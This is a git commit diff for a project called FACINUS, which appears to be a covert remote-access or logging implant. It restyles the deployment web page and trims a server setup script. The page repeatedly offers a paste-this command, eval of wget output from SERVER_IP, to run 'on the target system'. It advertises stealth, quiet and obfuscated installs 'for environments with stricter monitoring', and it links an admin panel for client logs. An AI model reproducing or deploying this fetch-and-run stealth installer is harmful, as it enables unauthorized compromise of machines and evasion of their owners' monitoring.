oh shit, everything was broken for whole time, i just noticed it and broke everything even worse. Updated design

This commit is contained in:
2025-04-06 23:47:22 +03:00
parent 076e934254
commit 84d7f748cf
3 changed files with 713 additions and 955 deletions

File diff suppressed because it is too large Load Diff

View File

@@ -3,21 +3,15 @@
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>FACINUS Deployment</title>
<title>FACINUS</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
:root {
--primary: #3498db;
--primary-dark: #2980b9;
--accent: #e74c3c;
--accent-dark: #c0392b;
--text: #2c3e50;
--text-light: #7f8c8d;
--bg: #f5f7fa;
--card-bg: #ffffff;
--border: #e0e6ed;
--success: #2ecc71;
--command-bg: #f1f5f9;
--bg: #111111;
--text: #33ff33;
--secondary: #aaaaaa;
--border: #333333;
--hover: #222222;
}
* {
@@ -27,279 +21,196 @@
}
body {
font-family: 'Segoe UI', -apple-system, BlinkMacSystemFont, Roboto, Oxygen, Ubuntu, sans-serif;
color: var(--text);
font-family: 'Courier New', monospace;
background-color: var(--bg);
line-height: 1.6;
}
.container {
max-width: 1000px;
color: var(--text);
line-height: 1.5;
padding: 20px;
max-width: 900px;
margin: 0 auto;
padding: 0 20px;
}
.header {
background: linear-gradient(135deg, var(--primary) 0%, var(--primary-dark) 100%);
color: white;
padding: 20px 0;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
pre {
font-family: 'Courier New', monospace;
overflow-x: auto;
white-space: pre;
}
.ascii-header {
margin-bottom: 30px;
}
.header h1 {
font-weight: 600;
font-size: 28px;
margin: 0;
letter-spacing: 0.5px;
}
.header p {
opacity: 0.9;
margin-top: 5px;
}
.card {
background: var(--card-bg);
border-radius: 8px;
box-shadow: 0 2px 15px rgba(0, 0, 0, 0.05);
padding: 25px;
margin-bottom: 30px;
border: 1px solid var(--border);
transition: transform 0.2s ease, box-shadow 0.2s ease;
}
.card:hover {
transform: translateY(-2px);
box-shadow: 0 5px 20px rgba(0, 0, 0, 0.08);
font-size: 12px;
line-height: 1.2;
}
h2 {
font-size: 22px;
font-weight: 600;
color: var(--text);
margin-bottom: 15px;
display: flex;
align-items: center;
}
h2 i {
margin-right: 12px;
color: var(--primary);
}
p {
margin-bottom: 15px;
color: var(--text-light);
margin: 20px 0;
border-bottom: 1px dashed var(--border);
padding-bottom: 5px;
}
.command {
background: var(--command-bg);
border-radius: 6px;
padding: 18px;
font-family: 'Courier New', monospace;
margin: 20px 0;
position: relative;
background: rgba(0, 0, 0, 0.3);
border: 1px solid var(--border);
box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.05);
padding: 10px;
margin: 15px 0;
position: relative;
overflow-x: auto;
white-space: nowrap;
}
.command-prompt::before {
content: "$ ";
opacity: 0.7;
}
.copy-btn {
position: absolute;
right: 10px;
top: 10px;
background: var(--primary);
color: white;
border: none;
border-radius: 4px;
padding: 6px 12px;
top: 7px;
background: transparent;
color: var(--secondary);
border: 1px solid var(--border);
border-radius: 3px;
padding: 3px 8px;
cursor: pointer;
font-size: 14px;
transition: background 0.2s ease;
display: flex;
align-items: center;
}
.copy-btn i {
margin-right: 5px;
font-size: 12px;
font-family: 'Courier New', monospace;
}
.copy-btn:hover {
background: var(--primary-dark);
background: var(--hover);
color: var(--text);
}
.options {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
gap: 20px;
grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
gap: 15px;
margin: 20px 0;
}
.option-box {
border: 1px solid var(--border);
border-radius: 6px;
padding: 20px;
transition: all 0.2s ease;
background: var(--card-bg);
padding: 15px;
background: rgba(0, 0, 0, 0.3);
}
.option-box:hover {
border-color: var(--primary);
box-shadow: 0 5px 15px rgba(0, 0, 0, 0.05);
background: var(--hover);
}
.option-title {
font-weight: 600;
margin-bottom: 10px;
color: var(--text);
font-size: 17px;
display: flex;
align-items: center;
font-weight: bold;
}
.option-title i {
margin-right: 8px;
color: var(--primary);
.note {
border-left: 2px solid var(--text);
padding-left: 10px;
margin: 15px 0;
color: var(--secondary);
}
.admin-link {
display: inline-block;
background: var(--primary);
color: white;
padding: 12px 24px;
margin-top: 20px;
padding: 8px 15px;
background: transparent;
color: var(--text);
border: 1px solid var(--text);
text-decoration: none;
border-radius: 6px;
font-weight: 500;
margin-top: 10px;
transition: background 0.2s ease;
font-family: 'Courier New', monospace;
}
.admin-link:hover {
background: var(--primary-dark);
background: rgba(51, 255, 51, 0.1);
}
.note {
display: flex;
align-items: flex-start;
background: rgba(52, 152, 219, 0.1);
padding: 12px 15px;
border-radius: 6px;
margin-top: 15px;
}
.note i {
color: var(--primary);
margin-right: 10px;
margin-top: 2px;
}
@media (max-width: 768px) {
@media (max-width: 600px) {
.options {
grid-template-columns: 1fr;
}
.header h1 {
font-size: 24px;
.ascii-header {
font-size: 8px;
}
}
</style>
</head>
<body>
<div class="header">
<div class="container">
<h1><i class="fas fa-server"></i> FACINUS Deployment</h1>
<p>Secure client deployment system</p>
<div class="ascii-header">
<pre>
____ __ ___ __ __ _ _ _ ____
( __)/ _\ / __)( )( ( \/ )( \/ ___)
) _)/ \( (__ )( / /) \/ (\___ \
(__) \_/\_/ \___)(__)\_)__)\____/(____/
</pre>
</div>
<h2>> deployment</h2>
<div class="command">
<span class="command-prompt">eval "$(wget -qO- http://SERVER_IP/deployment/y)"</span>
<button class="copy-btn" onclick="copyToClipboard('cmd1')">copy</button>
</div>
<div class="note">
requires root access. runs in stealth mode by default.
</div>
<h2>> options</h2>
<div class="options">
<div class="option-box">
<div class="option-title">> minimal</div>
<div class="command command-prompt">
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
<button class="copy-btn" onclick="copyToClipboard('cmd2')">copy</button>
</div>
</div>
<div class="option-box">
<div class="option-title">> user mode</div>
<div class="command command-prompt">
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
<button class="copy-btn" onclick="copyToClipboard('cmd3')">copy</button>
</div>
</div>
<div class="option-box">
<div class="option-title">> obfuscated</div>
<div class="command command-prompt">
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
<button class="copy-btn" onclick="copyToClipboard('cmd4')">copy</button>
</div>
</div>
<div class="option-box">
<div class="option-title">> one-liner</div>
<div class="command command-prompt">
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
<button class="copy-btn" onclick="copyToClipboard('cmd5')">copy</button>
</div>
</div>
</div>
<div class="container">
<div class="card">
<h2><i class="fas fa-bolt"></i> Quick Setup</h2>
<p>Copy and paste this command into a terminal on the target system:</p>
<div class="command" id="cmd1">
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
<button class="copy-btn" onclick="copyToClipboard('cmd1')">
<i class="fas fa-copy"></i> Copy
</button>
</div>
<div class="note">
<i class="fas fa-info-circle"></i>
<span><strong>Note:</strong> This will install with default settings and requires root access.</span>
</div>
</div>
<div class="card">
<h2><i class="fas fa-cogs"></i> Installation Options</h2>
<div class="options">
<div class="option-box">
<div class="option-title"><i class="fas fa-feather"></i> Minimal Installation</div>
<p>For limited access without requiring root privileges:</p>
<div class="command" id="cmd2">
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
<button class="copy-btn" onclick="copyToClipboard('cmd2')">
<i class="fas fa-copy"></i> Copy
</button>
</div>
</div>
<div class="option-box">
<div class="option-title"><i class="fas fa-box-open"></i> Full Installation</div>
<p>Complete installation with all features:</p>
<div class="command" id="cmd3">
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
<button class="copy-btn" onclick="copyToClipboard('cmd3')">
<i class="fas fa-copy"></i> Copy
</button>
</div>
</div>
<div class="option-box">
<div class="option-title"><i class="fas fa-volume-mute"></i> Quiet Mode</div>
<p>Minimal output for stealthy installation:</p>
<div class="command" id="cmd4">
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
<i class="fas fa-copy"></i> Copy
</button>
</div>
</div>
<div class="option-box">
<div class="option-title"><i class="fas fa-user-secret"></i> Obfuscated Installation</div>
<p>For environments with stricter monitoring:</p>
<div class="command" id="cmd5">
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
<button class="copy-btn" onclick="copyToClipboard('cmd5')">
<i class="fas fa-copy"></i> Copy
</button>
</div>
</div>
</div>
</div>
<div class="card">
<h2><i class="fas fa-user-shield"></i> Admin Access</h2>
<p>Access the admin panel for logs and client information:</p>
<a href="admin.php" class="admin-link"><i class="fas fa-sign-in-alt"></i> Admin Panel</a>
</div>
</div>
<h2>> admin</h2>
<a href="admin.php" class="admin-link">$ access admin panel</a>
<script>
function copyToClipboard(elementId) {
const el = document.getElementById(elementId);
const text = el.innerText.split('\n')[0].trim();
const el = document.querySelector(`#${elementId}`);
const text = el ? el.innerText.split('\n')[0].trim() : document.querySelector('.command-prompt').innerText.trim();
navigator.clipboard.writeText(text).then(function() {
const btn = el.querySelector('.copy-btn');
const originalIcon = btn.innerHTML;
btn.innerHTML = '<i class="fas fa-check"></i> Copied!';
const btn = event.target;
const originalText = btn.innerText;
btn.innerText = "copied!";
setTimeout(() => {
btn.innerHTML = originalIcon;
}, 2000);
btn.innerText = originalText;
}, 1000);
});
}
</script>

View File

@@ -44,225 +44,10 @@ setup_web_server() {
sudo chmod 750 "$SERVER_ROOT/logs"
sudo chmod 750 "$SERVER_ROOT/secrets"
# Copy web files
copy_web_files
# Configure web server
configure_webserver
}
copy_web_files() {
# Copy PHP files from the web directory to the server root
sudo cp -r "$WEB_DIR/"* "$SERVER_ROOT/"
# Add the theme CSS
create_theme_files
# Update configurations in files
sudo sed -i "s/TOKEN_PLACEHOLDER/$SECRET_TOKEN/g" "$SERVER_ROOT/log_receiver.php"
sudo sed -i "s/ADMIN_PASSWORD_PLACEHOLDER/$ADMIN_PASSWORD/g" "$SERVER_ROOT/admin.php"
# Update Server IP in the HTML files
sudo sed -i "s/SERVER_IP/$SERVER_IP/g" "$SERVER_ROOT/index.html"
sudo sed -i "s/SERVER_IP/$SERVER_IP/g" "$SERVER_ROOT/admin.php"
# Set proper permissions
sudo chmod 640 "$SERVER_ROOT/admin.php"
sudo chmod 640 "$SERVER_ROOT/log_receiver.php"
}
create_theme_files() {
# Create dark theme CSS file
cat > "$TEMP_DIR/dark-theme.css" << 'EOF'
:root {
--bg-color: #1e1e1e;
--text-color: #e0e0e0;
--border-color: #444;
--header-bg: #252525;
--card-bg: #2d2d2d;
--link-color: #58a6ff;
--button-bg: #0d6efd;
--button-color: white;
--input-bg: #333;
--input-color: #e0e0e0;
--table-header-bg: #333;
--table-row-hover: #3a3a3a;
--code-bg: #2d2d2d;
--code-color: #e0e0e0;
}
body {
background-color: var(--bg-color);
color: var(--text-color);
}
.container, .card, .login {
background-color: var(--card-bg);
border-color: var(--border-color);
}
a {
color: var(--link-color);
}
input, select, textarea {
background-color: var(--input-bg);
color: var(--input-color);
border-color: var(--border-color);
}
button, .button {
background-color: var(--button-bg);
color: var(--button-color);
}
table {
border-color: var(--border-color);
}
th {
background-color: var(--table-header-bg);
}
tr:hover {
background-color: var(--table-row-hover);
}
.logs, pre, code, .command {
background-color: var(--code-bg);
color: var(--code-color);
}
.secret {
background-color: #332;
border-color: #554;
}
EOF
# Create light theme CSS file
cat > "$TEMP_DIR/light-theme.css" << 'EOF'
:root {
--bg-color: #f2f2f2;
--text-color: #333;
--border-color: #ddd;
--header-bg: #f8f8f8;
--card-bg: #fff;
--link-color: #0066cc;
--button-bg: #0d6efd;
--button-color: white;
--input-bg: #fff;
--input-color: #333;
--table-header-bg: #f2f2f2;
--table-row-hover: #f8f8f8;
--code-bg: #f8f8f8;
--code-color: #333;
}
body {
background-color: var(--bg-color);
color: var(--text-color);
}
.container, .card, .login {
background-color: var(--card-bg);
border-color: var(--border-color);
}
a {
color: var(--link-color);
}
input, select, textarea {
background-color: var(--input-bg);
color: var(--input-color);
border-color: var(--border-color);
}
button, .button {
background-color: var(--button-bg);
color: var(--button-color);
}
table {
border-color: var(--border-color);
}
th {
background-color: var(--table-header-bg);
}
tr:hover {
background-color: var(--table-row-hover);
}
.logs, pre, code, .command {
background-color: var(--code-bg);
color: var(--code-color);
}
.secret {
background-color: #ffe;
border-color: #ddc;
}
EOF
sudo cp "$TEMP_DIR/dark-theme.css" "$SERVER_ROOT/css/dark-theme.css"
sudo cp "$TEMP_DIR/light-theme.css" "$SERVER_ROOT/css/light-theme.css"
# Create theme switcher JS
cat > "$TEMP_DIR/theme-switcher.js" << 'EOF'
document.addEventListener('DOMContentLoaded', function() {
// Check for saved theme preference or use preferred color scheme
const savedTheme = localStorage.getItem('theme') ||
(window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light');
// Apply the theme
document.documentElement.setAttribute('data-theme', savedTheme);
// Create theme toggle button
const themeToggle = document.createElement('button');
themeToggle.id = 'theme-toggle';
themeToggle.innerHTML = savedTheme === 'dark' ? '☀️' : '🌙';
themeToggle.style.position = 'fixed';
themeToggle.style.bottom = '20px';
themeToggle.style.right = '20px';
themeToggle.style.borderRadius = '50%';
themeToggle.style.width = '50px';
themeToggle.style.height = '50px';
themeToggle.style.fontSize = '24px';
themeToggle.style.cursor = 'pointer';
themeToggle.style.border = 'none';
themeToggle.style.boxShadow = '0 2px 5px rgba(0,0,0,0.2)';
themeToggle.style.zIndex = '1000';
document.body.appendChild(themeToggle);
// Update link element
const themeLink = document.getElementById('theme-stylesheet');
themeLink.href = `css/${savedTheme}-theme.css`;
// Theme toggle functionality
themeToggle.addEventListener('click', function() {
const currentTheme = document.documentElement.getAttribute('data-theme');
const newTheme = currentTheme === 'dark' ? 'light' : 'dark';
document.documentElement.setAttribute('data-theme', newTheme);
themeLink.href = `css/${newTheme}-theme.css`;
themeToggle.innerHTML = newTheme === 'dark' ? '☀️' : '🌙';
// Save preference
localStorage.setItem('theme', newTheme);
});
});
EOF
sudo cp "$TEMP_DIR/theme-switcher.js" "$SERVER_ROOT/assets/theme-switcher.js"
# Update HTML files to include theme
sudo sed -i '/<\/head>/i \ <link id="theme-stylesheet" rel="stylesheet" href="css/light-theme.css">\n <script src="assets/theme-switcher.js"></script>' "$SERVER_ROOT/index.html"
sudo sed -i '/<\/head>/i \ <link id="theme-stylesheet" rel="stylesheet" href="css/light-theme.css">\n <script src="../assets/theme-switcher.js"></script>' "$SERVER_ROOT/admin.php"
}
configure_webserver() {
case "$DISTRO" in
arch)